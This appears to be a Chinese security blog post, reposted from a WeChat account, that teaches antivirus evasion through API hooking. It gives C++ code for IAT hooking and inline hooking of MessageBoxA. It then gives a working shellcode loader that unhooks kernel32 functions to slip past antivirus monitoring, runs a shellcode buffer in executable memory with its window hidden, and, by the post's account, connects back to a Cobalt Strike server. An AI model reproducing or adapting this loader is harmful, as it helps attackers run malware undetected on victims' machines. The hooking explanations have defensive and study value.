【杀软对抗】Hook与UnHook基础

admin 2023年12月11日15:15:29评论22 views字数 7883阅读26分16秒阅读模式

一、Hook

Hook 说明:运行程序时杀软会检查敏感的 API 函数,如 OpenProcess、VirtualAllocEx、WriteProcessMemory 等。杀软常用的方式是在程序加载 API 前 jmp 跳转到杀软的检查代码地址,检查即将要调用的系统 API 是否为危险函数,是危险函数就阻断,否则 jmp 回程序原来顺序执行的地址,这个 jmp 检测过程就是 hook 过程。

1. IATHook

IATHOOK 的基本原理是通过修改导入地址表中的函数地址,将原始函数地址替换为自定义的函数地址。这样,在程序调用原始函数时,实际上会执行被替换的自定义函数,从而实现对目标函数的拦截和修改。

IATHook 实现过程:

  1. 获取目标模块的基址:根据目标函数的模块名称或函数地址,可以通过 Windows API 函数如 GetModuleHandle 或 LoadLibrary 来获取目标模块的基址。

  2. 获取导入地址表(IAT):通过解析目标模块的导入描述符表(Import Descriptor Table),可以获得导入地址表的位置。

  3. 修改导入地址表:将目标函数的地址替换为自定义函数的地址,即进行钩子操作。可以使用 VirtualProtect 函数来修改内存页面的访问权限,确保可以写入。

  4. 自定义函数的实现:编写自定义函数的代码,用于替代原始函数的功能。在自定义函数中,可以执行一些额外的操作,如记录日志、修改参数、阻止函数调用等。

  5. 调用原始函数:在自定义函数中,如果需要调用原始函数,可以通过函数指针来调用被替换的原始函数。

IATHook 实现测试代码:

#include <windows.h>
//创建函数指针typedef int (WINAPI* PfnMsgA)( _In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType);//定义函数指针PfnMsgA g_OldPfnMsgA = nullptr;
//自己定义的hook函数int WINAPI MyMessageBox(_In_opt_ HWND hWnd, _In_opt_ LPCSTR lpText, _In_opt_ LPCSTR lpCaption, _In_ UINT uType){ char szHookText[] = "成功hook到检查函数"; if (g_OldPfnMsgA != nullptr) { //调用前的函数指针 return g_OldPfnMsgA(hWnd, szHookText, lpCaption, uType); } return 0;}
//hook函数void SetIatHook(){ PVOID pHookAddress = nullptr; //指定要HOOK的函数MessageBoxA pHookAddress = GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA"); if (nullptr == pHookAddress) { OutputDebugString(TEXT("获取函数地址失败")); return; } //保存旧的函数指针 g_OldPfnMsgA = (PfnMsgA)pHookAddress; //解析PE头,寻找IAT HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头 DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew; PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp; PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader; PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader; //寻找导出表的位置 DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移 //定位到导出表 dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal; PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp; PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport; DWORD* pFirstThunk; //导入表子表,也就是IAT存储函数地址的表 //遍历导入表 while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL) { dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL); //找到导入表 pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表 while (*(DWORD*)pFirstThunk != NULL) { //遍历子表 if (*(DWORD*)pFirstThunk == (DWORD)g_OldPfnMsgA) { //找到要修改的导入表,修改内存保护属性,写入自己的函数地址 DWORD oldProtected; VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected); dwTemp = (DWORD)MyMessageBox; memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中 //四字节长度的地址 VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected); } pFirstThunk++; //继续遍历 } pCurrent++; //每次是加一个导入表结构 }}
//取消hook函数,遍历导入表后恢复导入表void UnIatHook(){ PVOID pHookAddress = nullptr; //取消hook到MyMessageBox函数 pHookAddress = MyMessageBox; if (nullptr == pHookAddress) { OutputDebugString(TEXT("恢复函数地址失败")); return; } //解析PE头,寻找IAT HMODULE hModImageBase = GetModuleHandle(NULL);//获取当前的ImagBase PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD)hModImageBase; //获取DOS头 DWORD dwTemp = (DWORD)pDosHead + (DWORD)pDosHead->e_lfanew; PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp; PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader; PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader; //寻找导出表的位置 DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; //找到导出表偏移 //定位到导出表 dwTemp = (DWORD)GetModuleHandle(NULL) + dwExportLocal; PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp; PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport; DWORD* pFirstThunk; //导入表子表 //遍历导入表 while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL) { dwTemp = pCurrent->FirstThunk + (DWORD)GetModuleHandle(NULL); pFirstThunk = (DWORD*)dwTemp; //加上偏移才是真正的导入表 while (*(DWORD*)pFirstThunk != NULL) { //遍历子表 if (*(DWORD*)pFirstThunk == (DWORD)MyMessageBox) //如果是自己的函数地址,则进行恢复 { //找到要修改的导入表,修改内存保护属性,写入自己的函数地址 DWORD oldProtected; VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected); dwTemp = (DWORD)g_OldPfnMsgA; memcpy(pFirstThunk, (DWORD*)&dwTemp, 4); //将变量中保存的函数地址拷贝到导入表中 VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected); } pFirstThunk++; //继续遍历 } pCurrent++; //每次是加一个导入表结构 }}
void main(){ MessageBoxA(NULL, "hook测试", "标题", MB_OK); SetIatHook(); //调用hook MessageBoxA(NULL, "hook测试", "标题", MB_OK); UnIatHook(); //取消hook MessageBoxA(NULL, "hook测试", "标题", MB_OK);}

IATHook 实现测试运行:

调用hook前,调用MessageBoxA函数正常输出内容。

【杀软对抗】Hook与UnHook基础

调用hook后,再调用MessageBoxA函数输出内容被修改。

【杀软对抗】Hook与UnHook基础

取消hook后,再调用MessageBoxA函数输出内容恢复正常。

【杀软对抗】Hook与UnHook基础

2. InlineHook

InlineHook(内联钩子)是一种在程序运行时修改函数执行流程的技术。它通过修改函数的原始代码,将目标函数的执行路径重定向到自定义的代码段,从而实现对目标函数的拦截和修改。

InlineHook 内联钩子的实现有以下步骤:

  1. 定位目标函数的地址:通过函数名或者导入表等方式找到目标函数在内存中的地址。

  2. 修改目标函数的内存权限:将目标函数的内存权限修改为可写可执行,以便后续修改函数的指令。

  3. 备份目标函数的原始指令:将目标函数的原始指令备份到自定义的缓冲区中。

  4. 修改目标函数的指令:将目标函数的指令修改为跳转到自定义代码的指令,以实现拦截和修改。

  5. 编写自定义代码:编写自定义的代码,实现对目标函数的拦截和修改逻辑。

  6. 执行自定义代码:将自定义的代码插入到目标函数的执行流程中,使其被调用时执行自定义逻辑。

  7. 恢复目标函数的原始指令:在自定义代码执行完毕后,恢复目标函数的原始指令,以确保目标函数的正常执行。

InlineHook测试dll代码:

#include <windows.h>#include <pch.h>
//定义函数地址变量和新旧比特数PROC m_FunAddress;BYTE m_OldBytes[5];BYTE m_NewBytes[5];
BOOL Hook(const char* pszModuleName, const char* pszFuncName, PROC pfnHookFunc){//获取指定模块中指定函数的地址m_FunAddress = (PROC)GetProcAddress(GetModuleHandleA(pszModuleName), pszFuncName);if (m_FunAddress == NULL){return false;}//保存函数的头五个字节DWORD dwRet = 0;ReadProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);//构造Jmp指令 //jmp Addressm_NewBytes[0] = 'xE9';*(DWORD*)(m_NewBytes + 1) = (DWORD)pfnHookFunc - (DWORD)m_FunAddress - 5;//写5字节WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);return true;}
//取消hook函数VOID UnHook(){if (m_FunAddress != 0){DWORD dwRet = 0;WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_OldBytes, 5, &dwRet);}}
//重新hook函数BOOL ReHook(){if (m_FunAddress != 0){DWORD dwRet = 0;WriteProcessMemory(GetCurrentProcess(), m_FunAddress, m_NewBytes, 5, &dwRet);}return true;}
//自定义函数MyMessageBoxAintWINAPI MyMessageBoxA(_In_opt_ HWND hWnd,_In_opt_ LPCSTR lpText,_In_opt_ LPCSTR lpCaption,_In_ UINT uType){UnHook();int nRet = MessageBoxA(hWnd, "InlineHook 成功!", "标题", uType);ReHook();return nRet;}
//dll主函数BOOL APIENTRY DllMain(HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:m_FunAddress = NULL;memset(m_OldBytes, 0, 5);memset(m_NewBytes, 0, 5);//hook系统user32.dll里面的MessageBoxA到自定义函数MyMessageBoxAHook("user32.dll", "MessageBoxA", (PROC)MyMessageBoxA);break;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:UnHook();break;}return TRUE;}

InlineHook测试C++代码:

#include <windows.h>
void main() {MessageBoxA(NULL, "Hook 测试", "标题", NULL);LoadLibraryA("Dll1.dll"); //调用hook的dll文件MessageBoxA(NULL, "Hook 测试", "标题", NULL);}

分别生成dll文件和exe文件,放在同一目录下执行,效果如下:

调用hook前,MessageBoxA函数正常输出内容。

【杀软对抗】Hook与UnHook基础

调用hook后,MessageBoxA函数内容被修改输出。

【杀软对抗】Hook与UnHook基础


二、UnHook

反Hook说明:hook叫上钩,unhook叫脱钩。当运行木马时杀软会跳转程序到检查恶意API的函数里面,这时调用的恶意API是属于hook上钩状态,反Hook就是需要使恶意API复原为脱钩状态,脱钩后再调用。

unhook脱钩加载shellcode代码:

#include <windows.h>#include <ImageHlp.h>#include <iostream>#include <vector>using namespace std;#pragma comment(lib,"imagehlp")//隐藏黑框#pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
//shellcode变量unsigned char buf[] = "";
//unhook函数,传入要脱钩的apivoid unhookAPI(const char* functionName) { //加载unhook脱钩api的dll文件HMODULE lib = LoadLibrary("C:\Windows\System32\kernel32.dll");BYTE assemblyBytes[5] = {};
if (lib) {void* fa = GetProcAddress(lib, functionName);if (fa) {BYTE* read = (BYTE*)fa;for (int i = 0; i < 5; i++) {assemblyBytes[i] = read[i];}//复写传入的api函数WriteProcessMemory(GetCurrentProcess(), GetProcAddress(GetModuleHandle("kernel32.dll"), functionName), (LPCVOID)assemblyBytes, 5, NULL);FreeLibrary(lib);
printf("Unhook %s Succeed!n", functionName);
}elseprintf("Function not found!n");}elseprintf("Error loading library!n");}
int main() {
//unhook脱钩,将被hook的函数复原unhookAPI("VirtualAlloc");unhookAPI("RtlMoveMemory");unhookAPI("CreateThread");unhookAPI("WaitForSingleObject");
//申请一段虚拟内存空间LPVOID add = VirtualAlloc(NULL, sizeof(buf), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);//移动shellcode内容到内存RtlMoveMemory(add, buf, sizeof(buf));//通过创建新线程的方式运行内容HANDLE hand = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)add, NULL, NULL, NULL);//等待结束WaitForSingleObject(hand, INFINITE);
return 0;}

生成exe运行,上线CS服务端:

【杀软对抗】Hook与UnHook基础


原文始发于微信公众号(ZackSecurity):【杀软对抗】Hook与UnHook基础

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月11日15:15:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【杀软对抗】Hook与UnHook基础https://cn-sec.com/archives/2278315.html

发表评论

匿名网友 填写信息